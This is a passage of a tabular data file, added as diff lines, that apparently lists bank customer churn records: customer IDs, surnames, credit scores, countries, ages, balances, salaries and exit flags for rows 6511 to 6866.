+6511,15643916,Munro,619,Spain,Male,46,8,62400.48,1,1,1,132498.39,1 +6512,15720636,McGregor,628,France,Female,50,4,143054.56,1,0,1,109608.81,1 +6513,15795429,Henderson,487,France,Male,24,7,133628.09,2,1,1,98570.01,0 +6514,15609254,Fernandez,513,Spain,Female,41,9,107135.04,2,1,1,160546.58,0 +6515,15625141,Porter,563,Spain,Male,26,7,0,2,0,0,6139.74,0 +6516,15810898,Pan,803,France,Female,65,2,151659.52,2,0,1,6930.17,0 +6517,15775797,Esposito,607,Spain,Female,32,7,0,3,0,1,10674.62,0 +6518,15795246,Kaeppel,628,Germany,Female,51,9,155903.82,2,1,1,71159.84,0 +6519,15795275,Lamb,521,Spain,Female,49,4,82940.25,2,0,0,62413.01,1 +6520,15571869,Lei,669,Germany,Female,50,4,112650.89,1,0,0,166386.22,1 +6521,15694143,Conti,686,France,Female,41,10,0,1,1,0,133086.45,0 +6522,15748231,Hargreaves,700,Germany,Male,35,4,95853.39,2,1,0,192933.37,0 +6523,15632185,Yermolayev,663,France,Female,42,1,82228.67,2,1,0,71359.78,0 +6524,15806249,Kerr,671,Spain,Female,31,4,0,2,0,1,79270.02,0 +6525,15743293,Waters,651,Germany,Female,35,1,163700.78,3,1,1,29583.48,1 +6526,15598157,Onyeorulu,728,France,Male,34,4,106328.08,1,1,0,88680.65,0 +6527,15700946,Kolesnikova,574,France,Female,34,7,152992.91,1,1,1,134691.2,0 +6528,15722692,Kazakova,464,France,Male,38,3,116439.65,1,1,0,75574.48,0 +6529,15696506,MacDonald,604,Spain,Male,27,9,101352.78,1,0,0,30252.3,0 +6530,15728823,Sharwood,836,Spain,Female,37,10,0,2,1,0,111324.41,0 +6531,15808851,Bufkin,511,Germany,Female,75,9,105609.17,1,0,1,105425.18,0 +6532,15675231,Nwankwo,518,France,Female,45,8,0,2,1,1,36193.07,0 +6533,15732299,Boniwell,756,France,Male,67,4,0,3,1,1,93081.87,0 +6534,15706269,Willis,489,France,Female,47,8,103894.38,2,1,1,107625.46,0 +6535,15590078,Burns,622,Spain,Male,27,9,139834.93,1,1,1,152733.89,0 +6536,15776985,Kung,652,France,Female,36,6,112518.71,2,0,1,110421.31,0 +6537,15756743,Howells,625,France,Female,37,7,115895.42,1,1,0,48486.25,0 +6538,15782364,Bevan,521,Spain,Female,39,3,146408.68,1,0,0,72993.67,0 +6539,15604093,Neitenstein,546,France,Male,34,4,165363.31,2,1,1,25744.13,1 +6540,15749328,Johnson,697,France,Female,45,1,0,2,1,0,46807.62,1 +6541,15656322,Sandover,571,Germany,Male,33,3,71843.15,1,1,0,26772.04,0 +6542,15685564,Nnamutaezinwa,748,Spain,Male,35,5,105492.53,1,1,1,150057.2,0 +6543,15785831,Sinclair,591,France,Male,35,7,183027.25,1,1,1,56028.79,0 +6544,15796218,Wei,814,Germany,Male,29,1,131968.57,2,1,1,147693.92,0 +6545,15716218,Higgins,709,France,Female,45,3,104118.5,1,0,1,174032,0 +6546,15572735,Chang,433,Spain,Male,27,2,0,2,1,1,153698.65,0 +6547,15633840,Henderson,781,France,Male,20,0,125023.1,2,1,1,108301.45,0 +6548,15608760,Cox,656,France,Female,30,4,74323.2,1,1,1,22929.08,0 +6549,15627848,Tsui,683,France,Male,38,7,109346.13,2,1,0,102665.92,0 +6550,15792029,Lee,620,France,Male,32,6,0,2,1,0,56139.09,0 +6551,15617331,Sergeyeva,637,Germany,Female,39,3,109698.41,1,1,1,88391.29,1 +6552,15651740,Napolitani,525,Spain,Female,30,5,0,2,0,1,149195.44,0 +6553,15636407,Beatham,793,Germany,Female,34,5,127758.09,1,1,0,143357.03,0 +6554,15607526,Lu,638,Germany,Male,50,1,102645.48,1,1,0,168359.98,1 +6555,15632576,Yashina,520,France,Male,31,4,93249.4,1,1,0,77335.75,0 +6556,15581505,Bales,641,France,Male,35,5,0,2,1,0,93148.93,0 +6557,15612207,Hill,840,Germany,Female,51,1,87779.83,1,0,1,36687.11,1 +6558,15707242,Ibeamaka,504,Spain,Male,40,5,0,2,0,0,146703.36,0 +6559,15721937,Romilly,686,France,Male,38,0,138131.34,1,0,1,115927.85,0 +6560,15773852,Hayes,533,Germany,Male,38,4,70362.52,2,1,1,104189.46,0 +6561,15719778,Chiu,577,France,Female,32,1,0,2,1,0,9902.39,0 +6562,15650538,Sun,445,Germany,Female,48,7,168286.58,1,1,0,16645.77,1 +6563,15797475,Brennan,720,France,Male,44,3,86102.27,1,1,0,180134.88,1 +6564,15780359,Storey,643,Germany,Male,25,4,115142.9,1,1,1,148098.95,0 +6565,15737104,Lawson,652,Germany,Female,47,0,126597.89,2,1,1,38798.79,1 +6566,15789936,T'ao,663,France,Female,33,2,0,2,1,0,153295,0 +6567,15709523,Yao,525,Germany,Female,30,0,157989.21,2,1,1,100687.67,0 +6568,15593425,Bracewell,662,Spain,Female,54,1,187997.15,1,0,0,111442.71,1 +6569,15776725,Kerr,724,Germany,Male,54,8,172192.49,1,1,1,136902.01,0 +6570,15604706,Blake,581,Germany,Male,38,1,133105.47,1,1,0,105732.9,1 +6571,15790958,Sanders,685,Spain,Male,38,4,0,2,1,1,35884.91,0 +6572,15747534,Torkelson,595,France,Male,46,10,0,1,1,0,73489.15,1 +6573,15574237,Hsueh,588,France,Female,21,8,0,2,1,1,110114.19,0 +6574,15690332,Wang,647,Germany,Male,35,3,192407.97,1,1,1,40145.28,0 +6575,15661290,Hightower,785,Germany,Female,38,9,107199.75,1,0,0,146398.51,0 +6576,15651883,Genovesi,794,Germany,Female,55,6,115796.7,1,1,0,160526.36,1 +6577,15808905,Levan,823,France,Male,37,5,164858.18,1,1,1,173516.71,0 +6578,15715532,Lai,687,Germany,Male,38,4,117633.28,1,0,1,88396.6,0 +6579,15786078,Loginov,850,France,Female,28,9,0,2,1,0,185821.41,0 +6580,15652401,Lafleur,496,France,Female,36,7,0,2,0,0,108098.28,0 +6581,15673074,Obidimkpa,527,Germany,Female,30,6,126663.51,1,1,1,162267.91,0 +6582,15598744,Ch'ang,576,Germany,Female,71,6,140273.47,1,1,1,193135.25,1 +6583,15785975,Mason,525,Spain,Female,60,7,0,2,0,1,168034.9,0 +6584,15613180,Miranda,727,Germany,Male,21,8,153344.72,1,1,1,163295.87,0 +6585,15584229,Simon,671,Germany,Female,23,9,123943.18,1,1,1,159553.27,0 +6586,15773804,Golubeva,625,France,Male,39,5,0,1,1,0,99800.87,0 +6587,15699515,Manfrin,643,Germany,Male,33,7,98630.31,2,1,1,40250.82,0 +6588,15705313,Stange,707,France,Female,33,2,58036.33,1,1,1,83335.78,0 +6589,15693817,Ferrari,539,Spain,Male,28,5,0,2,1,0,48382.4,0 +6590,15673790,Taylor,498,Germany,Male,45,7,109200.74,2,0,1,165990.44,0 +6591,15674868,Wei,696,Spain,Female,30,0,0,2,1,1,9002.8,0 +6592,15692110,Ch'eng,758,France,Female,33,7,0,1,1,0,188156.34,0 +6593,15645904,Parsons,685,France,Female,33,6,0,2,0,1,186785.01,0 +6594,15581332,Pan,655,Germany,Female,30,1,83173.98,2,1,1,184259.6,0 +6595,15808544,Cameron,747,France,Female,40,3,0,1,0,0,57817.84,1 +6596,15734948,Igwebuike,601,Spain,Male,24,7,0,2,0,0,144660.42,0 +6597,15654531,Tuan,477,France,Male,22,5,82559.42,2,0,0,163112.9,1 +6598,15637774,Fraser,558,France,Male,32,5,73494.21,1,0,0,136301.1,0 +6599,15677141,Turnbull,586,Spain,Male,29,2,132450.24,1,1,1,36176.63,0 +6600,15739578,Chiazagomekpere,850,France,Male,49,6,128663.9,1,1,0,65769.3,1 +6601,15697360,Yudina,505,France,Female,36,2,79951.9,1,0,1,174123.16,1 +6602,15655213,Udinese,591,Germany,Female,51,8,132508.3,1,1,1,161304.68,1 +6603,15580872,Chinweike,761,Germany,Female,38,1,120530.13,2,1,0,109394.62,0 +6604,15683213,Bergamaschi,554,France,Female,35,10,74988.59,2,0,1,190155.13,0 +6605,15801188,Milliner,774,France,Female,47,6,94722.88,1,0,1,61450.96,0 +6606,15645029,Knowles,771,Spain,Female,33,5,0,2,1,0,8673.43,0 +6607,15633181,Swinton,792,France,Male,31,6,71269.89,2,0,1,125912.77,0 +6608,15598259,Gregory,673,Germany,Female,41,9,98612.1,1,1,0,151349.35,0 +6609,15576000,Chibueze,765,France,Male,40,6,138033.55,1,1,1,67972.45,0 +6610,15766047,Sukhorukova,748,France,Female,41,2,91621.69,1,1,1,71139.31,0 +6611,15596339,French,422,France,Male,54,3,140014.42,1,0,1,86350.97,0 +6612,15715199,Estrada,568,Spain,Male,27,5,126815.97,2,0,1,118648.12,0 +6613,15615938,Fleming,502,France,Female,64,3,139663.37,1,0,1,100995.11,0 +6614,15679991,Kennedy,524,France,Female,28,7,0,2,0,1,147100.72,0 +6615,15626135,Combes,689,France,Male,34,1,165312.27,1,1,0,155495.63,0 +6616,15792934,Carruthers,661,France,Male,26,8,0,2,0,0,196875.87,0 +6617,15744046,Andrejew,606,Spain,Male,33,8,0,2,1,1,63176.77,0 +6618,15700826,Ko,678,Germany,Female,54,1,123699.28,2,0,1,105221.76,0 +6619,15756301,Daniels,636,Germany,Female,29,3,97325.15,1,0,1,131924.38,0 +6620,15586517,Toscano,647,France,Male,32,5,97041.16,1,1,1,23132.73,0 +6621,15751297,Wilson,732,France,Male,36,5,0,2,1,0,161428.25,0 +6622,15710365,Thomson,646,France,Male,50,0,104129.24,2,1,0,181794.86,1 +6623,15679307,Kazantseva,559,France,Female,43,1,0,1,0,1,86634.3,0 +6624,15610753,Cremonesi,581,France,Male,28,3,104367.5,1,1,1,29937.75,0 +6625,15811036,Ferri,565,France,Male,46,7,135369.71,1,0,1,140130.22,0 +6626,15610912,Ferri,657,Spain,Female,41,6,112119.48,1,1,0,17536.82,0 +6627,15619932,Lombardi,847,France,Male,66,7,123760.68,1,0,1,53157.16,0 +6628,15746199,Eluemuno,558,France,Female,41,6,0,1,1,1,143585.29,1 +6629,15584967,Chiganu,596,Spain,Male,57,6,0,2,1,1,72402,0 +6630,15734365,Hsueh,579,France,Male,39,5,0,2,0,1,39891.84,0 +6631,15726960,O'Brien,741,France,Female,36,3,0,2,1,1,89804.83,0 +6632,15665177,Booth,613,France,Male,44,3,0,2,0,1,136491.72,0 +6633,15779915,O'Loghlin,694,Spain,Male,31,5,0,1,1,0,35593.18,0 +6634,15729110,Lavrov,729,Spain,Female,42,7,0,2,1,0,58268.2,1 +6635,15575399,Somadina,480,France,Female,42,1,152160.21,2,1,0,101778.9,0 +6636,15678374,Colombo,666,France,Female,59,5,0,2,1,1,185123.09,0 +6637,15792679,Troupe,575,France,Male,24,2,0,2,1,1,119927.81,0 +6638,15668767,Kenenna,850,France,Male,36,3,0,2,1,0,195033.07,0 +6639,15761886,Franklin,740,France,Male,36,4,172381.8,1,1,1,86480.29,0 +6640,15583076,Deleon,588,Germany,Male,41,6,106116.56,2,1,0,198766.61,0 +6641,15815615,Kung,681,France,Male,36,5,141952.07,1,1,1,185144.08,0 +6642,15591942,Zito,611,Spain,Female,33,7,0,2,1,1,3729.89,0 +6643,15724924,Giordano,589,France,Female,37,6,138497.84,1,0,1,18988.58,0 +6644,15762123,Davide,717,Spain,Female,34,1,0,2,1,0,119313.74,0 +6645,15567893,Lei,556,Germany,Male,33,3,124213.36,2,1,0,62627.55,0 +6646,15648989,Moss,850,France,Male,37,4,126872.6,1,1,0,197266.58,0 +6647,15662021,Lucciano,685,Spain,Female,42,2,0,2,0,0,199992.48,0 +6648,15691627,Tai,713,France,Female,37,8,0,1,1,1,16403.41,0 +6649,15731751,Osinachi,437,France,Female,26,1,120923.52,1,0,1,78854.57,0 +6650,15635277,Coates,605,Spain,Male,47,7,142643.54,1,1,0,189310.27,0 +6651,15655252,Larionova,758,Germany,Male,41,10,79857.64,1,1,1,78088.17,0 +6652,15803941,Seleznev,600,France,Male,46,10,95502.21,1,0,0,19842.18,0 +6653,15714380,Butcher,827,France,Male,38,5,0,2,0,0,103305.01,0 +6654,15666559,Gould,608,Germany,Male,23,8,197715.93,2,1,1,116124.28,0 +6655,15799998,Cunningham,608,France,Female,30,8,85859.76,1,0,0,142730.27,0 +6656,15703763,Sanderson,554,France,Male,44,7,85304.27,1,1,1,58076.52,0 +6657,15795640,Mai,683,Germany,Female,35,1,132371.3,2,0,0,186123.57,0 +6658,15780056,Reid,660,Spain,Male,33,4,0,1,1,0,29664.45,0 +6659,15777873,Downer,628,France,Female,31,5,0,1,0,0,147963.07,1 +6660,15584749,Humphries,668,Germany,Male,39,4,79896,1,1,0,38466.39,0 +6661,15765258,Bochsa,776,France,Female,29,5,0,2,1,1,143301.49,0 +6662,15623346,Czajkowski,820,France,Male,36,4,0,2,1,0,31422.69,0 +6663,15614054,Pankhurst,665,France,Male,36,1,0,2,0,1,121505.61,0 +6664,15766185,She,850,Germany,Male,31,4,146587.3,1,1,1,89874.82,0 +6665,15667632,Birdseye,703,France,Female,42,7,0,2,0,1,72500.68,0 +6666,15599024,Hope,506,Spain,Male,32,8,0,2,0,1,182692.8,0 +6667,15798709,Gill,588,Spain,Male,32,3,109109.33,1,0,1,4993.94,0 +6668,15741921,Moon,622,Spain,Female,26,8,0,2,1,1,124964.82,0 +6669,15793671,Watt,606,France,Male,34,5,0,1,1,0,161971.42,0 +6670,15797900,Chinomso,517,France,Male,56,9,142147.32,1,0,0,39488.04,1 +6671,15667932,Bellucci,758,Spain,Female,43,10,0,2,1,1,55313.44,0 +6672,15795933,Barese,677,France,Female,49,3,0,2,1,1,187811.71,0 +6673,15660403,Fleming,827,Spain,Female,35,0,0,2,0,1,184514.01,0 +6674,15736299,Bell,729,France,Female,36,8,109106.8,1,0,0,121311.12,0 +6675,15759034,Li Fonti,654,France,Male,36,2,112262.84,1,1,0,12873.39,0 +6676,15724663,Christmas,654,Spain,Female,36,5,0,2,0,0,157238.05,0 +6677,15594556,Chuter,619,Spain,Male,52,8,0,2,1,1,123242.11,0 +6678,15737169,Johnson,642,Spain,Male,26,8,144238.7,1,1,1,184399.76,0 +6679,15632472,Scott,472,Spain,Female,32,1,159397.75,1,0,1,57323.18,0 +6680,15722813,Byrne,470,Spain,Male,30,4,125385.01,1,1,0,68293.93,0 +6681,15588450,Chukwudi,633,France,Female,60,8,69365.25,1,1,1,10288.24,0 +6682,15736717,Ma,602,France,Male,31,7,155271.83,1,1,1,179446.31,0 +6683,15680683,Simmons,640,Spain,Male,29,5,197200.04,2,1,0,141453.62,0 +6684,15710316,Fang,454,Spain,Female,48,5,144837.79,1,1,1,93151.77,0 +6685,15746333,Blake,562,France,Female,57,3,0,3,1,0,6554.97,1 +6686,15606861,Tien,636,France,Male,34,8,0,2,1,0,38570.13,0 +6687,15641285,Yusupova,621,Spain,Male,50,3,163085.79,1,0,1,131048.36,0 +6688,15662908,Davidson,795,Germany,Male,38,7,125903.22,2,1,1,127068.92,0 +6689,15814267,Zhdanova,550,France,Male,22,6,154377.3,1,1,1,51721.52,0 +6690,15614923,Nielson,630,Spain,Male,41,7,107511.52,1,0,1,46156.87,0 +6691,15579223,Niu,573,Germany,Male,30,8,127406.5,1,1,0,192950.6,0 +6692,15651389,Kay,561,Spain,Male,24,8,143656.55,1,0,1,180932.46,0 +6693,15677087,Green,662,France,Female,39,5,138106.75,1,0,0,19596.73,0 +6694,15665784,She,637,France,Male,27,9,128940.24,1,1,0,46786.92,0 +6695,15576706,Ajuluchukwu,651,Germany,Male,37,9,114453.58,1,0,1,175820.91,0 +6696,15615473,Sabbatini,646,France,Female,33,2,0,2,0,0,198208,0 +6697,15587299,Board,567,France,Female,48,3,0,1,1,0,55362.45,0 +6698,15655389,Leckie,638,France,Male,41,1,131762.94,1,1,1,47675.29,0 +6699,15784491,Ho,725,France,Female,31,6,0,1,0,0,61326.43,0 +6700,15809999,Gordon,709,France,Female,41,3,150300.65,2,1,0,71672.86,0 +6701,15681115,Iroawuchi,787,Spain,Male,39,10,108935.39,1,1,1,101168.3,0 +6702,15629390,Liao,653,France,Male,37,7,135847.47,1,1,0,144880.81,0 +6703,15792668,Hamilton,661,Germany,Male,37,7,109908.06,2,1,0,115037.67,1 +6704,15583863,Chimaobim,681,Germany,Male,49,8,142946.18,1,0,0,187280.51,1 +6705,15681878,Fan,436,Germany,Male,45,3,104339.11,2,1,1,183540.22,1 +6706,15782875,Cayley,663,France,Male,33,5,157274.36,2,1,1,28531.81,0 +6707,15732235,Kuykendall,662,France,Male,64,0,98848.19,1,0,1,42730.12,0 +6708,15735909,McDonald,607,Germany,Female,39,8,105103.33,1,1,0,104721.5,1 +6709,15653448,Duncan,754,France,Male,34,7,0,2,1,1,65219.85,0 +6710,15587647,Browne,850,Germany,Female,66,0,127120.62,1,0,1,118929.64,1 +6711,15701037,Barton,578,France,Male,39,2,0,2,1,0,70563.9,0 +6712,15727499,Boyle,666,Germany,Female,36,3,129118.5,2,0,0,139435.12,0 +6713,15724838,Moretti,599,France,Female,43,4,0,1,1,0,170347.1,0 +6714,15666711,Ukaegbulam,586,France,Female,46,0,0,3,0,1,131553.82,1 +6715,15588933,Nwankwo,825,France,Female,36,3,146053.66,1,1,1,138344.7,0 +6716,15763111,Niu,808,Spain,Female,67,10,124577.15,1,0,1,169894.4,0 +6717,15805676,Hsu,515,Spain,Male,29,4,151012.55,2,1,0,9770.97,0 +6718,15586674,Shaw,663,Spain,Female,58,5,216109.88,1,0,1,74176.71,1 +6719,15744553,Ho,444,France,Male,34,2,144318.97,1,1,0,112668.06,0 +6720,15776629,Christie,650,France,Female,39,4,0,2,0,0,186275.7,0 +6721,15647207,Onwuemelie,609,France,Male,26,7,0,2,1,0,98463.99,0 +6722,15715638,Ch'ang,824,Germany,Male,77,3,27517.15,2,0,1,2746.41,0 +6723,15750602,Clendinnen,662,France,Male,29,5,147092.65,1,1,0,10928.3,0 +6724,15766810,Onyemauchechi,699,Germany,Female,51,2,92246.14,2,0,1,91346.03,0 +6725,15756625,Crawford,752,France,Female,41,8,0,2,1,0,139844.04,1 +6726,15639552,Mellor,603,Germany,Female,40,8,148897.02,1,0,0,105052.9,0 +6727,15633213,Rizzo,628,Spain,Male,50,8,0,1,0,0,144366.83,1 +6728,15610416,Christie,745,France,Female,36,9,0,1,1,0,19605.18,1 +6729,15715208,Watkins,804,Germany,Female,33,10,138335.96,1,1,1,80483.76,0 +6730,15619608,Ojiofor,454,Germany,Female,50,10,92895.56,1,1,0,154344,1 +6731,15628697,Tung,631,Spain,Male,46,9,160736.63,1,0,1,93503.02,0 +6732,15643826,McKay,503,France,Male,32,4,0,2,1,1,153036.97,0 +6733,15718588,Meng,548,France,Female,37,9,0,2,0,0,98029.58,0 +6734,15709741,Hussain,668,France,Male,28,4,107141.27,1,1,0,193018.71,0 +6735,15723318,Mactier,619,France,Female,55,0,0,3,0,0,60810.64,1 +6736,15717328,Hsueh,842,France,Female,37,4,132446.08,2,1,0,87071.18,1 +6737,15771299,Nnachetam,707,France,Female,57,1,92053,1,1,1,164064.44,1 +6738,15706223,Barnes,715,Spain,Male,38,2,96798.79,2,1,1,4554.67,0 +6739,15612358,Christie,573,Germany,Male,35,9,134498.54,2,1,1,119924.8,0 +6740,15769191,Lipton,509,France,Male,55,8,132387.91,2,1,1,170360.11,0 +6741,15618816,Yu,670,Germany,Female,40,2,147171.2,1,0,1,69850.04,0 +6742,15730810,Storey,613,Spain,Male,44,9,100524.69,1,1,1,47298.95,0 +6743,15783463,Read,678,France,Female,26,1,0,2,1,0,45443.68,0 +6744,15616213,Levy,555,Germany,Female,51,9,138214.5,1,1,0,198715.27,1 +6745,15611287,Chiu,777,France,Female,30,4,0,2,0,1,115611.97,0 +6746,15786454,Moore,552,Spain,Male,55,3,0,1,1,1,40333.94,0 +6747,15768682,Amies,640,Spain,Male,39,3,0,1,1,1,105997.25,0 +6748,15766172,Tsao,541,France,Male,34,3,128743.55,1,1,0,134851.12,0 +6749,15637646,Rowley,756,France,Male,31,10,122647.32,1,0,0,61666.87,0 +6750,15653404,Aliyev,684,Spain,Female,24,9,79263.9,1,0,1,196574.48,0 +6751,15690546,Riley,618,France,Female,42,2,0,4,0,0,111097.39,1 +6752,15735636,Toscano,604,France,Female,53,2,121389.78,1,1,1,48201.64,1 +6753,15605424,Oluchukwu,624,Spain,Male,38,7,123906.55,1,1,0,135096.78,0 +6754,15568449,Fu,661,Spain,Male,38,7,143006.7,1,1,1,15650.89,0 +6755,15688085,Warner,627,Spain,Female,28,3,157597.61,1,0,1,34097.22,0 +6756,15683483,Fleming,812,Spain,Male,38,3,127117.8,2,1,1,174822.74,0 +6757,15659567,Ch'iu,473,France,Female,39,9,117103.26,2,1,1,85937.52,1 +6758,15766667,Langler,717,Spain,Male,36,2,102989.83,2,0,1,49185.57,0 +6759,15624975,Angelo,693,Spain,Male,28,1,145118.83,1,0,1,77742.38,0 +6760,15660878,T'ien,705,France,Male,92,1,126076.24,2,1,1,34436.83,0 +6761,15586557,Milani,661,France,Male,41,5,0,1,0,1,88279.6,0 +6762,15746183,Pye,573,France,Female,27,4,0,2,1,1,157549.6,0 +6763,15631457,Asher,639,France,Male,37,5,98186.7,1,0,1,173386.95,0 +6764,15754053,Chung,718,France,Female,67,7,0,3,1,1,82782.08,0 +6765,15645839,Yudin,570,France,Male,37,6,0,1,1,1,187758.5,0 +6766,15689955,Arcuri,461,France,Female,40,7,0,2,1,0,176547.8,0 +6767,15593510,Capon,638,Germany,Female,33,5,129335.65,1,1,1,56585.2,1 +6768,15654964,Piccio,608,Spain,Male,48,7,75801.74,1,1,0,125762.95,0 +6769,15594039,Lung,599,Spain,Male,42,6,0,2,1,0,113868.4,0 +6770,15625929,Trevisan,762,France,Female,44,7,159316.64,1,0,0,24780.13,0 +6771,15815295,John,662,France,Female,38,2,96479.81,1,1,0,120259.41,0 +6772,15621818,Anayolisa,747,Germany,Male,29,7,117726.33,1,1,1,175398.34,0 +6773,15652700,Ritchie,539,France,Male,39,6,0,2,1,1,86767.48,0 +6774,15636860,Ch'eng,625,France,Male,43,4,122351.29,1,1,0,71216.6,0 +6775,15569432,Macleod,656,France,Female,48,9,0,2,1,1,85240.61,1 +6776,15751455,Boyle,469,France,Female,48,5,0,1,1,0,160529.71,1 +6777,15800583,Chukwuemeka,621,Spain,Female,43,8,0,1,0,0,102806.6,0 +6778,15770214,Bryant,754,France,Female,27,7,0,2,1,0,144134.64,0 +6779,15613463,Hackett,679,Germany,Female,50,6,132598.38,2,1,1,184017.98,0 +6780,15587066,Kovaleva,535,France,Male,38,2,119272.29,1,0,0,195896.59,1 +6781,15693752,Reed,487,France,Male,37,2,0,2,1,1,126722.57,0 +6782,15714874,Major,850,France,Female,42,3,0,2,1,1,176883.42,0 +6783,15657809,Lo,585,France,Male,55,10,106415.57,3,1,1,122960.98,1 +6784,15651955,Hanson,603,France,Male,31,4,0,2,0,1,9607.1,0 +6785,15570912,Ogbonnaya,728,Germany,Female,32,9,127772.1,2,1,1,152643.48,0 +6786,15640266,Windsor,621,Spain,Male,41,5,104631.67,1,1,1,95551.22,0 +6787,15652069,Calabrese,833,France,Male,30,1,0,2,1,0,141860.62,0 +6788,15596074,Keating,502,France,Male,37,10,0,1,1,1,76642.68,0 +6789,15800268,Costa,825,Germany,Male,37,6,118050.79,1,0,1,52301.15,0 +6790,15809847,Tan,668,France,Male,46,0,0,2,0,0,29388.02,0 +6791,15599074,Ma,487,Spain,Female,40,6,136093.74,1,0,1,193408.43,0 +6792,15599591,Martin,600,Germany,Female,39,7,88477.36,2,1,0,58632.37,0 +6793,15776096,Halpern,606,Spain,Male,34,3,161572.24,1,0,1,191076.22,0 +6794,15611669,Nyhan,623,Germany,Male,50,7,126608.37,1,0,1,645.61,1 +6795,15694098,Jackson,575,France,Female,54,9,68332.96,1,1,1,144390.75,0 +6796,15713347,Reynolds,577,Spain,Male,48,6,179852.26,1,1,0,193580.32,0 +6797,15713094,Tai,651,France,Female,25,8,0,2,1,1,126761.2,0 +6798,15811978,Trevisani,693,Germany,Male,46,2,104763.41,1,1,1,62368.33,0 +6799,15799925,Uwakwe,800,France,Male,60,6,88541.57,2,1,1,131718.12,0 +6800,15692575,Kerr,760,France,Male,38,6,162888.73,1,1,0,91098.76,1 +6801,15743149,Findlay,711,France,Female,35,8,0,1,1,1,67508.01,0 +6802,15776947,Ugorji,637,Spain,Male,43,8,0,1,1,0,12156.93,1 +6803,15700656,Balashova,662,France,Male,32,9,0,2,0,0,65089.38,0 +6804,15594515,Cheng,568,France,Female,44,7,0,2,0,0,62370.67,1 +6805,15787884,Martin,692,France,Female,30,7,0,2,1,1,18826.34,0 +6806,15577988,Skinner,614,France,Female,35,1,0,2,1,1,3342.62,0 +6807,15795586,McDonald,478,France,Male,35,1,92474.05,1,1,0,178626.07,0 +6808,15677739,Dellucci,562,France,Male,36,6,0,2,1,0,32845.32,0 +6809,15720134,Reynolds,709,Germany,Male,30,9,115479.48,2,1,1,134732.99,0 +6810,15688868,Birdsall,684,France,Female,26,5,87098.91,1,0,0,106095.82,0 +6811,15642996,Tsai,546,Germany,Female,42,9,86351.85,2,1,0,57380.13,0 +6812,15771222,Oguejiofor,779,France,Female,42,5,0,2,0,0,25951.91,0 +6813,15605059,Mackie,576,Germany,Male,63,3,148843.56,1,1,0,69414.13,1 +6814,15568088,Jamieson,481,Germany,Male,44,3,163714.52,1,1,0,96123.72,0 +6815,15665943,Mai,445,France,Male,25,6,0,2,1,0,119425.94,0 +6816,15795571,Patterson,606,Spain,Male,36,0,94153.56,1,0,1,120138.27,0 +6817,15662243,Taylor,559,France,Male,50,5,162702.35,1,0,0,150548.5,1 +6818,15593128,Vinogradoff,608,France,Female,56,10,129255.2,2,1,0,142492.04,1 +6819,15589739,North,698,France,Male,41,3,90605.29,1,1,1,14357,0 +6820,15787602,Carter,568,Spain,Male,39,5,0,2,1,1,129569.92,0 +6821,15685019,Graham,528,France,Male,29,3,102787.42,1,1,0,55972.56,0 +6822,15704209,Noble,802,France,Female,39,7,120145.96,2,0,1,59497.01,1 +6823,15605264,Walker,669,Germany,Male,47,0,63723.78,2,1,1,181928.25,0 +6824,15708265,Chibugo,581,Spain,Female,24,10,159203.71,1,1,1,102517.83,1 +6825,15740264,Yobachi,640,France,Male,38,9,0,2,1,0,88827.67,0 +6826,15615477,Ignatyeva,529,Spain,Female,44,1,0,2,0,0,14161.3,0 +6827,15727361,Chiemela,547,France,Female,51,1,0,2,1,1,56908.41,0 +6828,15760216,Pokrovskaya,718,France,Female,49,10,0,1,1,0,184474.72,1 +6829,15806134,Storey,707,Germany,Male,34,9,162691.16,2,1,0,94912.78,0 +6830,15601351,Moroney,735,France,Male,43,9,127806.91,1,1,1,73069.59,0 +6831,15669262,Maslov,765,France,Male,43,9,157960.49,2,0,0,136602.8,0 +6832,15696989,Chukwueloka,469,Germany,Female,52,8,139493.25,3,0,0,150093.32,1 +6833,15688498,Chu,594,Germany,Female,21,2,87096.82,2,1,0,168186.11,0 +6834,15686964,Spence,675,France,Female,34,10,84944.58,1,0,0,146230.63,0 +6835,15625035,Mills,703,France,Male,50,8,160139.59,2,1,1,79314.1,0 +6836,15618391,Doyle,810,France,Male,33,6,0,2,1,1,77965.67,0 +6837,15591344,Donnelly,715,Spain,Male,42,6,0,2,1,1,128745.69,0 +6838,15605455,Tai,664,France,Male,40,9,0,2,1,0,194767.3,0 +6839,15680804,Abbott,850,France,Male,29,6,0,2,1,1,10672.54,0 +6840,15768282,Perez,724,Germany,Male,36,6,94615.11,2,1,1,10627.21,0 +6841,15685826,Hsiung,563,France,Male,30,7,90727.79,1,1,0,122268.75,0 +6842,15793491,Cherkasova,714,Germany,Male,26,3,119545.48,2,1,0,65482.94,0 +6843,15797787,Denisov,614,France,Male,36,1,118311.76,1,1,0,146134.68,0 +6844,15611171,Fowler,740,France,Male,33,1,129574.98,1,1,1,123300.38,0 +6845,15601627,Siciliano,587,France,Male,33,8,148163.57,1,0,0,122925.4,0 +6846,15734085,Crocker,465,Germany,Male,24,5,117154.9,1,1,1,127744.02,0 +6847,15809309,Longo,689,Spain,Female,40,5,154251.67,1,0,1,118319.5,0 +6848,15809462,Polyakova,656,France,Male,30,3,0,2,0,1,17104,0 +6849,15634628,Brown,579,France,Female,33,1,65667.79,2,0,0,164608.98,0 +6850,15775678,Uspensky,716,France,Female,44,1,0,1,1,1,152108.47,0 +6851,15579526,O'Meara,551,France,Male,42,1,50194.59,1,1,1,23399.58,0 +6852,15779103,Cantamessa,527,Germany,Female,39,9,96748.89,2,1,0,94711.43,0 +6853,15738715,Alexander,600,France,Female,37,4,0,3,1,0,7312.25,1 +6854,15593943,Chinagorom,685,France,Female,43,1,132667.17,1,1,1,41876.98,0 +6855,15754574,Tomlinson,738,Spain,Male,36,5,0,2,1,1,96881.32,0 +6856,15737814,Lo,622,France,Male,41,2,127087.06,1,1,0,102402.91,1 +6857,15670889,Nwachukwu,528,France,Male,34,1,125566.9,1,1,1,176763.27,0 +6858,15629299,Yang,546,Germany,Female,52,1,106074.89,1,1,1,23548.45,1 +6859,15771569,Bage,576,Germany,Male,46,4,137367.94,1,1,1,33450.11,0 +6860,15811927,Marcelo,733,France,Female,38,3,157658.36,1,0,0,19658.43,0 +6861,15785654,Ofodile,727,Germany,Male,45,6,114422.85,2,1,1,104678.78,1 +6862,15665524,Savage,605,Spain,Male,41,5,103154.66,1,0,0,143203.78,0 +6863,15736287,Piccio,586,France,Male,33,9,0,1,1,0,6975.02,0 +6864,15765732,Simmons,564,Spain,Female,24,6,149592.14,1,1,1,153771.8,0 +6865,15797381,DeRose,593,Germany,Female,48,3,133903.12,2,1,1,85902.39,1 +6866,15598536,Onuchukwu,736,Germany,Female,26,0,84587.9,1,0,1,188037.76,0 